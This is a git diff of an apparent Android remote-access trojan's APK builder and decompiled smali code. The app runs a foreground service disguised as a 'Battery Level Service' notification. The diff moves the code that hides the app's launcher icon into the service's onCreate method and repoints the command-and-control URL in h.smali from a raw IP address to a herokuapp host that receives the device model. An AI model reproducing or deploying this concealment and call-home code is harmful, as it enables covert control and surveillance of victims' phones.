diff --git a/client/app/release/app-release.apk b/client/app/release/app-release.apk index 663cebf..10f2181 100644 Binary files a/client/app/release/app-release.apk and b/client/app/release/app-release.apk differ diff --git a/server/app/factory/app-release.apk b/server/app/factory/app-release.apk index a38063c..10f2181 100644 Binary files a/server/app/factory/app-release.apk and b/server/app/factory/app-release.apk differ diff --git a/server/app/factory/decompiled/original/META-INF/CERT.RSA b/server/app/factory/decompiled/original/META-INF/CERT.RSA index 345f3a6..d7f988c 100644 Binary files a/server/app/factory/decompiled/original/META-INF/CERT.RSA and b/server/app/factory/decompiled/original/META-INF/CERT.RSA differ diff --git a/server/app/factory/decompiled/original/META-INF/CERT.SF b/server/app/factory/decompiled/original/META-INF/CERT.SF index e71a233..7c9330e 100644 --- a/server/app/factory/decompiled/original/META-INF/CERT.SF +++ b/server/app/factory/decompiled/original/META-INF/CERT.SF @@ -1,6 +1,6 @@ Signature-Version: 1.0 Created-By: 1.0 (Android) -SHA1-Digest-Manifest: I4jWX2KEpQXzfElVGagUjXFdBCI= +SHA1-Digest-Manifest: QhEJBGdq31X4jasL/1UjnUwfHXI= Name: AndroidManifest.xml SHA1-Digest: nCwMBXfy2QSt4OJ5EYyKjhi2bog= @@ -16,7 +16,7 @@ Name: META-INF/androidx.versionedparcelable_versionedparcelable.versio SHA1-Digest: /M5ZcCUkGpD9LMU3LB/ji4SqKws= Name: classes.dex -SHA1-Digest: pu+5uL+7iJohxU/Nyczv7rUXFl4= +SHA1-Digest: PnO75R5AfzNKv7a2Dn5EuUUUEm4= Name: res/drawable-hdpi-v4/notification_bg_low_normal.9.png SHA1-Digest: GqlxeUYi9nderviC+XwD6tRD5Kg= @@ -49,7 +49,7 @@ Name: res/drawable-mdpi-v4/notify_panel_notification_icon_bg.png SHA1-Digest: G1uzqQ7UaV7jhbp84LRK1WGbP3Q= Name: res/drawable-v21/notification_action_background.xml -SHA1-Digest: 80dPVWkbvCDQATht5PynEDZfbU0= +SHA1-Digest: hDgopXgoRb95pbeGnDNwAfS/XMc= Name: res/drawable-xhdpi-v4/notification_bg_low_normal.9.png SHA1-Digest: skfmh8AKXvj2Y90RQYRWGn6cYvs= @@ -73,7 +73,7 @@ Name: res/drawable/notification_bg_low.xml SHA1-Digest: 9ykEiSP/5+4AeJFJHpbmqBVaG8s= Name: res/drawable/notification_icon_background.xml -SHA1-Digest: l5oEGaFQUySLi9ZEQsBl9qlclCQ= +SHA1-Digest: wHlG5jR8jVhSzZ6uRecLsaKmiSw= Name: res/drawable/notification_tile_bg.xml SHA1-Digest: YglohQtVFRp8J0s8sl86sBk7Fbo= @@ -126,21 +126,57 @@ SHA1-Digest: RApcwLPhtEiD90nnfrY+IL1sXzU= Name: res/layout/notification_template_part_time.xml SHA1-Digest: 8f+j39hkWGlg90etPlVgKLTr8C8= +Name: res/mipmap-anydpi-v26/ic_launcher.xml +SHA1-Digest: IaWcOn6OMSZz5y7b1//eB2KUxWk= + +Name: res/mipmap-anydpi-v26/ic_launcher_round.xml +SHA1-Digest: iMHWhoFxv1Tc+X+114w2/coMJLA= + Name: res/mipmap-hdpi-v4/ic_launcher.png -SHA1-Digest: 7rQl6EYeTTp31EHiQqxTWNvHumI= +SHA1-Digest: OEL2LiXxzeanxit1EGRyhT9LhlM= + +Name: res/mipmap-hdpi-v4/ic_launcher_foreground.png +SHA1-Digest: DGCOxqISRwrFkmqsdh/goOQx3Ss= + +Name: res/mipmap-hdpi-v4/ic_launcher_round.png +SHA1-Digest: cxxH965EPKqcNb3u0wwwfIvi1vM= Name: res/mipmap-mdpi-v4/ic_launcher.png -SHA1-Digest: eAe4aQ3DNPRP6pSEW0HgZPPU5nE= +SHA1-Digest: av2c7QjAkH0n7BaMg0shH4kBdlc= + +Name: res/mipmap-mdpi-v4/ic_launcher_foreground.png +SHA1-Digest: bTnHPtXzduhoetQrf0Ert9v8tIk= + +Name: res/mipmap-mdpi-v4/ic_launcher_round.png +SHA1-Digest: 9KTToQbMbviOUaaJDwfnbHcsPHo= Name: res/mipmap-xhdpi-v4/ic_launcher.png -SHA1-Digest: he0u+MMYOPtjL0qaRCkw275Ntw0= +SHA1-Digest: c5mvMqBbimxFAXA35UgM1s2LZR4= + +Name: res/mipmap-xhdpi-v4/ic_launcher_foreground.png +SHA1-Digest: blcoJ8gKy4L3quFRXcezQ2Np3IE= + +Name: res/mipmap-xhdpi-v4/ic_launcher_round.png +SHA1-Digest: 8w0DQA56m4+MIXhJxgwFglWaRco= Name: res/mipmap-xxhdpi-v4/ic_launcher.png -SHA1-Digest: w8zlhwlle2aoufXsl5l6tyaB0OQ= +SHA1-Digest: EjemugIZQMhl2LEqGiU4DZ6kGMQ= + +Name: res/mipmap-xxhdpi-v4/ic_launcher_foreground.png +SHA1-Digest: g+1cNIft+45vIe9cuscolvWXWpI= + +Name: res/mipmap-xxhdpi-v4/ic_launcher_round.png +SHA1-Digest: +sGlbP1KeaIvnB6ihmqxT+c/Ul0= Name: res/mipmap-xxxhdpi-v4/ic_launcher.png -SHA1-Digest: iLOKwoF385humB5kq5Bq46YZBTo= +SHA1-Digest: uCj1njhw8zkqs9PlV7THf0WltWM= + +Name: res/mipmap-xxxhdpi-v4/ic_launcher_foreground.png +SHA1-Digest: x7p4RHXAYgIH/MBrxVZJk1j7O+0= + +Name: res/mipmap-xxxhdpi-v4/ic_launcher_round.png +SHA1-Digest: Z168W+5kWT6xiimjkT4wZdomzAs= Name: resources.arsc -SHA1-Digest: BKQCzdYe+5lDERHEO5K6pJ+h8k4= +SHA1-Digest: hg17AbKBXVqhT4xFsRLtSWdIYyg= diff --git a/server/app/factory/decompiled/original/META-INF/MANIFEST.MF b/server/app/factory/decompiled/original/META-INF/MANIFEST.MF index 74302a7..8e90145 100644 --- a/server/app/factory/decompiled/original/META-INF/MANIFEST.MF +++ b/server/app/factory/decompiled/original/META-INF/MANIFEST.MF @@ -16,7 +16,7 @@ Name: META-INF/androidx.versionedparcelable_versionedparcelable.versio SHA1-Digest: xTi2bHEQyjoCjM/kItDx+iAKmTU= Name: classes.dex -SHA1-Digest: dIFomSx5wi3pcCYIqXvuJq2FBQ4= +SHA1-Digest: +1LVqIGq2QygY5QXe4Zc5Ghcxj0= Name: res/drawable-hdpi-v4/notification_bg_low_normal.9.png SHA1-Digest: D2PhKM51tYZo8a79riJ3XiUD2nc= @@ -49,7 +49,7 @@ Name: res/drawable-mdpi-v4/notify_panel_notification_icon_bg.png SHA1-Digest: z0oai5b1MK3J/UNjdCA5ECdf2qg= Name: res/drawable-v21/notification_action_background.xml -SHA1-Digest: Zex797dp9csst+dCVKog6uj6ZC0= +SHA1-Digest: ahh4DXzIg7KHjR4O8GNZRkDq+sc= Name: res/drawable-xhdpi-v4/notification_bg_low_normal.9.png SHA1-Digest: dnObiFrk1DvtR5VGgJWQwE6oNeo= @@ -73,7 +73,7 @@ Name: res/drawable/notification_bg_low.xml SHA1-Digest: llIquDNpnOatx9ooUyxBchIFfbA= Name: res/drawable/notification_icon_background.xml -SHA1-Digest: EW5mKniW4HJ3Y2W4sNpUIsdF3DM= +SHA1-Digest: zVHJduXPP8NwinAQCFKja/BVxQs= Name: res/drawable/notification_tile_bg.xml SHA1-Digest: YKsJ15gsA+k4Ki34nO89lXtB54k= @@ -126,21 +126,57 @@ SHA1-Digest: CpePX0Swh6O4DsIQ+3MhggXfn8E= Name: res/layout/notification_template_part_time.xml SHA1-Digest: J1MZ7lTIokOYCHE/3CrJxdjJZII= +Name: res/mipmap-anydpi-v26/ic_launcher.xml +SHA1-Digest: 47Wrr0L5u//HrdR+ydw1DJsE2HY= + +Name: res/mipmap-anydpi-v26/ic_launcher_round.xml +SHA1-Digest: 47Wrr0L5u//HrdR+ydw1DJsE2HY= + Name: res/mipmap-hdpi-v4/ic_launcher.png -SHA1-Digest: dgOODFlTpfHDDTUL6xuLQSdAG7w= +SHA1-Digest: CiXVTbePOBc9ne/9nlv8o0TCZ28= + +Name: res/mipmap-hdpi-v4/ic_launcher_foreground.png +SHA1-Digest: zuSZv0eX0Slge8oOeCJj8lGS7AY= + +Name: res/mipmap-hdpi-v4/ic_launcher_round.png +SHA1-Digest: 4b2l1PZ0NuE26zEVE5nGLZITnk8= Name: res/mipmap-mdpi-v4/ic_launcher.png -SHA1-Digest: KhYs3OgngrsQpHbyXG/jm5H+8wU= +SHA1-Digest: Lljn+rRJP2oxU1PhzlbBGOGRT14= + +Name: res/mipmap-mdpi-v4/ic_launcher_foreground.png +SHA1-Digest: DhEKTsotpno1+qK785KRqy2LV0s= + +Name: res/mipmap-mdpi-v4/ic_launcher_round.png +SHA1-Digest: BdI5pctLBt9lc3JirYb6IVAH/lo= Name: res/mipmap-xhdpi-v4/ic_launcher.png -SHA1-Digest: A92PbPheHa+C5hP2bAXLmZFjEYY= +SHA1-Digest: YACEqzi5/Gl51S/VAvx8uQta+g4= + +Name: res/mipmap-xhdpi-v4/ic_launcher_foreground.png +SHA1-Digest: znJVmP7NXWUh41NYKfeAkhCIebc= + +Name: res/mipmap-xhdpi-v4/ic_launcher_round.png +SHA1-Digest: AUfG1+N8IRbmiXNEvlDxlkj21ZY= Name: res/mipmap-xxhdpi-v4/ic_launcher.png -SHA1-Digest: TtBU8d63+I+lSLj+Tm5DZvZ5i2c= +SHA1-Digest: lkLXmt/N/2TlQh3hZip/LjVi0sc= + +Name: res/mipmap-xxhdpi-v4/ic_launcher_foreground.png +SHA1-Digest: ludOnLPEKk4odyFRUHavLYCRgw0= + +Name: res/mipmap-xxhdpi-v4/ic_launcher_round.png +SHA1-Digest: jEKZ0O0vkyWRKlk8X/VOWr9G/OQ= Name: res/mipmap-xxxhdpi-v4/ic_launcher.png -SHA1-Digest: Z+/XJPt1sAKFXReYL68NU6geHLc= +SHA1-Digest: rOBVOmO/++XtiCJ+zfm/I0/TNmA= + +Name: res/mipmap-xxxhdpi-v4/ic_launcher_foreground.png +SHA1-Digest: bLEIjVpuqFG7M7qzVYqN5IWxU70= + +Name: res/mipmap-xxxhdpi-v4/ic_launcher_round.png +SHA1-Digest: zlZ/0sc3w4/fPeU3D1K2j2cYfUY= Name: resources.arsc -SHA1-Digest: GboCQPewD8xMd4YNzqee9CLvG3A= +SHA1-Digest: cSxFQcAf1geMZPDYTpu+eYPySnA= diff --git a/server/app/factory/decompiled/res/mipmap-anydpi-v26/ic_launcher.xml b/server/app/factory/decompiled/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..bf73fe6 --- /dev/null +++ b/server/app/factory/decompiled/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/server/app/factory/decompiled/res/mipmap-anydpi-v26/ic_launcher_round.xml b/server/app/factory/decompiled/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..bf73fe6 --- /dev/null +++ b/server/app/factory/decompiled/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/server/app/factory/decompiled/res/mipmap-hdpi/ic_launcher.png b/server/app/factory/decompiled/res/mipmap-hdpi/ic_launcher.png index 1dbefa9..f8e75b5 100644 Binary files a/server/app/factory/decompiled/res/mipmap-hdpi/ic_launcher.png and b/server/app/factory/decompiled/res/mipmap-hdpi/ic_launcher.png differ diff --git a/server/app/factory/decompiled/res/mipmap-hdpi/ic_launcher_foreground.png b/server/app/factory/decompiled/res/mipmap-hdpi/ic_launcher_foreground.png new file mode 100644 index 0000000..7eaa4b5 Binary files /dev/null and b/server/app/factory/decompiled/res/mipmap-hdpi/ic_launcher_foreground.png differ diff --git a/server/app/factory/decompiled/res/mipmap-hdpi/ic_launcher_round.png b/server/app/factory/decompiled/res/mipmap-hdpi/ic_launcher_round.png new file mode 100644 index 0000000..efeca05 Binary files /dev/null and b/server/app/factory/decompiled/res/mipmap-hdpi/ic_launcher_round.png differ diff --git a/server/app/factory/decompiled/res/mipmap-mdpi/ic_launcher.png b/server/app/factory/decompiled/res/mipmap-mdpi/ic_launcher.png index c8e2986..4f319db 100644 Binary files a/server/app/factory/decompiled/res/mipmap-mdpi/ic_launcher.png and b/server/app/factory/decompiled/res/mipmap-mdpi/ic_launcher.png differ diff --git a/server/app/factory/decompiled/res/mipmap-mdpi/ic_launcher_foreground.png b/server/app/factory/decompiled/res/mipmap-mdpi/ic_launcher_foreground.png new file mode 100644 index 0000000..90d12ec Binary files /dev/null and b/server/app/factory/decompiled/res/mipmap-mdpi/ic_launcher_foreground.png differ diff --git a/server/app/factory/decompiled/res/mipmap-mdpi/ic_launcher_round.png b/server/app/factory/decompiled/res/mipmap-mdpi/ic_launcher_round.png new file mode 100644 index 0000000..57ae91a Binary files /dev/null and b/server/app/factory/decompiled/res/mipmap-mdpi/ic_launcher_round.png differ diff --git a/server/app/factory/decompiled/res/mipmap-xhdpi/ic_launcher.png b/server/app/factory/decompiled/res/mipmap-xhdpi/ic_launcher.png index c0cad09..0d977fa 100644 Binary files a/server/app/factory/decompiled/res/mipmap-xhdpi/ic_launcher.png and b/server/app/factory/decompiled/res/mipmap-xhdpi/ic_launcher.png differ diff --git a/server/app/factory/decompiled/res/mipmap-xhdpi/ic_launcher_foreground.png b/server/app/factory/decompiled/res/mipmap-xhdpi/ic_launcher_foreground.png new file mode 100644 index 0000000..992c962 Binary files /dev/null and b/server/app/factory/decompiled/res/mipmap-xhdpi/ic_launcher_foreground.png differ diff --git a/server/app/factory/decompiled/res/mipmap-xhdpi/ic_launcher_round.png b/server/app/factory/decompiled/res/mipmap-xhdpi/ic_launcher_round.png new file mode 100644 index 0000000..2678d3c Binary files /dev/null and b/server/app/factory/decompiled/res/mipmap-xhdpi/ic_launcher_round.png differ diff --git a/server/app/factory/decompiled/res/mipmap-xxhdpi/ic_launcher.png b/server/app/factory/decompiled/res/mipmap-xxhdpi/ic_launcher.png index 82b5407..1f2718c 100644 Binary files a/server/app/factory/decompiled/res/mipmap-xxhdpi/ic_launcher.png and b/server/app/factory/decompiled/res/mipmap-xxhdpi/ic_launcher.png differ diff --git a/server/app/factory/decompiled/res/mipmap-xxhdpi/ic_launcher_foreground.png b/server/app/factory/decompiled/res/mipmap-xxhdpi/ic_launcher_foreground.png new file mode 100644 index 0000000..62e666f Binary files /dev/null and b/server/app/factory/decompiled/res/mipmap-xxhdpi/ic_launcher_foreground.png differ diff --git a/server/app/factory/decompiled/res/mipmap-xxhdpi/ic_launcher_round.png b/server/app/factory/decompiled/res/mipmap-xxhdpi/ic_launcher_round.png new file mode 100644 index 0000000..161f5d8 Binary files /dev/null and b/server/app/factory/decompiled/res/mipmap-xxhdpi/ic_launcher_round.png differ diff --git a/server/app/factory/decompiled/res/mipmap-xxxhdpi/ic_launcher.png b/server/app/factory/decompiled/res/mipmap-xxxhdpi/ic_launcher.png index e33de9c..8f6b985 100644 Binary files a/server/app/factory/decompiled/res/mipmap-xxxhdpi/ic_launcher.png and b/server/app/factory/decompiled/res/mipmap-xxxhdpi/ic_launcher.png differ diff --git a/server/app/factory/decompiled/res/mipmap-xxxhdpi/ic_launcher_foreground.png b/server/app/factory/decompiled/res/mipmap-xxxhdpi/ic_launcher_foreground.png new file mode 100644 index 0000000..3f22790 Binary files /dev/null and b/server/app/factory/decompiled/res/mipmap-xxxhdpi/ic_launcher_foreground.png differ diff --git a/server/app/factory/decompiled/res/mipmap-xxxhdpi/ic_launcher_round.png b/server/app/factory/decompiled/res/mipmap-xxxhdpi/ic_launcher_round.png new file mode 100644 index 0000000..5550039 Binary files /dev/null and b/server/app/factory/decompiled/res/mipmap-xxxhdpi/ic_launcher_round.png differ diff --git a/server/app/factory/decompiled/res/values/colors.xml b/server/app/factory/decompiled/res/values/colors.xml index 81ddd2e..df71807 100644 --- a/server/app/factory/decompiled/res/values/colors.xml +++ b/server/app/factory/decompiled/res/values/colors.xml @@ -3,6 +3,7 @@ #ffff4081 #ff3f51b5 #ff303f9f + #ff1294a6 #ffffffff #ff9e9e9e #1f000000 diff --git a/server/app/factory/decompiled/res/values/public.xml b/server/app/factory/decompiled/res/values/public.xml index 66be4d3..9580de7 100644 --- a/server/app/factory/decompiled/res/values/public.xml +++ b/server/app/factory/decompiled/res/values/public.xml @@ -15,10 +15,11 @@ - - - - + + + + + @@ -94,6 +95,8 @@ + + diff --git a/server/app/factory/decompiled/smali/com/remote/app/MainService.smali b/server/app/factory/decompiled/smali/com/remote/app/MainService.smali index 64f0921..f9d389d 100644 --- a/server/app/factory/decompiled/smali/com/remote/app/MainService.smali +++ b/server/app/factory/decompiled/smali/com/remote/app/MainService.smali @@ -31,7 +31,7 @@ const/4 v1, 0x0 - const-string v2, "example.permanence" + const-string v2, "example_permanence" const-string v3, "Battery Level Service" @@ -67,16 +67,14 @@ invoke-virtual {v0, v1}, Landroid/support/v4/app/b$b;->a(I)Landroid/support/v4/app/b$b; - const-string v1, "service" + const-string v2, "service" - invoke-virtual {v0, v1}, Landroid/support/v4/app/b$b;->a(Ljava/lang/String;)Landroid/support/v4/app/b$b; + invoke-virtual {v0, v2}, Landroid/support/v4/app/b$b;->a(Ljava/lang/String;)Landroid/support/v4/app/b$b; invoke-virtual {v0}, Landroid/support/v4/app/b$b;->a()Landroid/app/Notification; move-result-object v0 - const/4 v1, 0x2 - invoke-virtual {p0, v1, v0}, Landroid/app/Service;->startForeground(ILandroid/app/Notification;)V return-void @@ -93,10 +91,26 @@ .end method .method public onCreate()V - .locals 2 + .locals 4 invoke-super {p0}, Landroid/app/Service;->onCreate()V + invoke-virtual {p0}, Landroid/app/Service;->getPackageManager()Landroid/content/pm/PackageManager; + + move-result-object v0 + + new-instance v1, Landroid/content/ComponentName; + + const-class v2, Lcom/remote/app/MainActivity; + + invoke-direct {v1, p0, v2}, Landroid/content/ComponentName;->(Landroid/content/Context;Ljava/lang/Class;)V + + const/4 v2, 0x1 + + const/4 v3, 0x2 + + invoke-virtual {v0, v1, v3, v2}, Landroid/content/pm/PackageManager;->setComponentEnabledSetting(Landroid/content/ComponentName;II)V + sget v0, Landroid/os/Build$VERSION;->SDK_INT:I const/16 v1, 0x1a @@ -108,13 +122,11 @@ goto :goto_0 :cond_0 - const/4 v0, 0x1 + new-instance v0, Landroid/app/Notification; - new-instance v1, Landroid/app/Notification; + invoke-direct {v0}, Landroid/app/Notification;->()V - invoke-direct {v1}, Landroid/app/Notification;->()V - - invoke-virtual {p0, v0, v1}, Landroid/app/Service;->startForeground(ILandroid/app/Notification;)V + invoke-virtual {p0, v2, v0}, Landroid/app/Service;->startForeground(ILandroid/app/Notification;)V :goto_0 return-void @@ -137,26 +149,10 @@ .end method .method public onStartCommand(Landroid/content/Intent;II)I - .locals 1 + .locals 0 invoke-super {p0, p1, p2, p3}, Landroid/app/Service;->onStartCommand(Landroid/content/Intent;II)I - invoke-virtual {p0}, Landroid/app/Service;->getPackageManager()Landroid/content/pm/PackageManager; - - move-result-object p1 - - new-instance p2, Landroid/content/ComponentName; - - const-class p3, Lcom/remote/app/MainActivity; - - invoke-direct {p2, p0, p3}, Landroid/content/ComponentName;->(Landroid/content/Context;Ljava/lang/Class;)V - - const/4 p3, 0x1 - - const/4 v0, 0x2 - - invoke-virtual {p1, p2, v0, p3}, Landroid/content/pm/PackageManager;->setComponentEnabledSetting(Landroid/content/ComponentName;II)V - new-instance p1, Lcom/remote/app/j; invoke-direct {p1, p0}, Lcom/remote/app/j;->(Lcom/remote/app/MainService;)V @@ -175,5 +171,7 @@ invoke-static {p0}, Lcom/remote/app/e;->a(Landroid/content/Context;)V - return p3 + const/4 p1, 0x1 + + return p1 .end method diff --git a/server/app/factory/decompiled/smali/com/remote/app/h.smali b/server/app/factory/decompiled/smali/com/remote/app/h.smali index 5f32251..fa94189 100644 --- a/server/app/factory/decompiled/smali/com/remote/app/h.smali +++ b/server/app/factory/decompiled/smali/com/remote/app/h.smali @@ -64,7 +64,7 @@ invoke-direct {v1}, Ljava/lang/StringBuilder;->()V - const-string v2, "http://3.6.95.182:22222?model=" + const-string v2, "https://xwizer.herokuapp.com:443?model=" invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;